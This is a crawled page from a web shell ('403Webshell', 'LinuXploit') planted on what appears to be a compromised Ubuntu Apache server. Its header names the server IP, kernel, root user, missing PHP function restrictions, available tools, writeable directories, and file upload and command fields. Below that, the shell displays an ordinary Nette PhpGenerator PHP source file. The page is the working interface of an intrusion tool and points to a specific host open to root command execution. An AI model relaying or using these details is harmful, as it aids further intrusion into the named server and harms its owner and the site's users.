403Webshell
Server IP : 139.59.63.204  /  Your IP : 216.73.217.62
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux ubuntu-s-1vcpu-1gb-blr1-01 6.8.0-110-generic #110-Ubuntu SMP PREEMPT_DYNAMIC Thu Mar 19 15:09:20 UTC 2026 x86_64
User : root ( 0)
PHP Version : 8.3.6
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/abyogasms.com/vendor/nette/php-generator/src/PhpGenerator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/abyogasms.com/vendor/nette/php-generator/src/PhpGenerator/ClassLike.php
<?php declare(strict_types=1);

/**
 * This file is part of the Nette Framework (https://nette.org)
 * Copyright (c) 2004 David Grudl (https://davidgrudl.com)
 */

namespace Nette\PhpGenerator;

use Nette;
use function array_map, func_num_args, is_object, str_contains, strtolower;


/**
 * Base definition of class, interface, trait or enum type.
 */
abstract class ClassLike
{
	use Traits\CommentAware;
	use Traits\AttributeAware;

	#[\Deprecated('Use Visibility::Public')]
	public const VisibilityPublic = Visibility::Public,
		VISIBILITY_PUBLIC = Visibility::Public;

	#[\Deprecated('Use Visibility::Protected')]
	public const VisibilityProtected = Visibility::Protected,
		VISIBILITY_PROTECTED = Visibility::Protected;

	#[\Deprecated('Use Visibility::Private')]
	public const VisibilityPrivate = Visibility::Private,
		VISIBILITY_PRIVATE = Visibility::Private;

	private ?PhpNamespace $namespace;
	private ?string $name;


	/** @param class-string|object  $class */
	public static function from(string|object $class, bool $withBodies = false): static
	{
		$instance = (new Factory)
			->fromClassReflection(new \ReflectionClass($class), $withBodies);

		if (!$instance instanceof static) {
			$class = is_object($class) ? $class::class : $class;
			throw new Nette\InvalidArgumentException("$class cannot be represented with " . static::class . '. Call ' . $instance::class . '::' . __FUNCTION__ . '() or ' . __METHOD__ . '() instead.');
		}

		return $instance;
	}


	public static function fromCode(string $code): static
	{
		$instance = (new Factory)
			->fromClassCode($code);

		if (!$instance instanceof static) {
			throw new Nette\InvalidArgumentException('Provided code cannot be represented with ' . static::class . '. Call ' . $instance::class . '::' . __FUNCTION__ . '() or ' . __METHOD__ . '() instead.');
		}

		return $instance;
	}


	public function __construct(string $name)
	{
		if (str_contains($name, '\\')) {
			$this->namespace = new PhpNamespace(Helpers::extractNamespace($name));
			$this->setName(Helpers::extractShortName($name));
		} else {
			$this->namespace = func_num_args() > 1 ? func_get_arg(1) : null; // backward compatibility
			$this->setName($name);
		}
	}


	public function __toString(): string
	{
		return (new Printer)->printClass($this, $this->namespace);
	}


	/** @internal */
	public function setNamespace(?PhpNamespace $namespace): static
	{
		$this->namespace = $namespace;
		return $this;
	}


	public function getNamespace(): ?PhpNamespace
	{
		return $this->namespace;
	}


	public function setName(?string $name): static
	{
		if ($name !== null && (!Helpers::isIdentifier($name) || isset(Helpers::Keywords[strtolower($name)]))) {
			throw new Nette\InvalidArgumentException("Value '$name' is not valid class name.");
		}

		$this->name = $name;
		return $this;
	}


	public function getName(): ?string
	{
		return $this->name;
	}


	public function getFullName(): ?string
	{
		return $this->name && ($namespace = $this->namespace?->getName())
			? $namespace . '\\' . $this->name
			: $this->name;
	}


	public function isClass(): bool
	{
		return $this instanceof ClassType;
	}


	public function isInterface(): bool
	{
		return $this instanceof InterfaceType;
	}


	public function isTrait(): bool
	{
		return $this instanceof TraitType;
	}


	public function isEnum(): bool
	{
		return $this instanceof EnumType;
	}


	/** @param list<string>  $names */
	protected function validateNames(array $names): void
	{
		foreach ($names as $name) {
			if (!Helpers::isNamespaceIdentifier($name, allowLeadingSlash: true)) {
				throw new Nette\InvalidArgumentException("Value '$name' is not valid class name.");
			}
		}
	}


	public function validate(): void
	{
	}


	public function __clone(): void
	{
		$this->attributes = array_map(fn($attr) => clone $attr, $this->attributes);
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit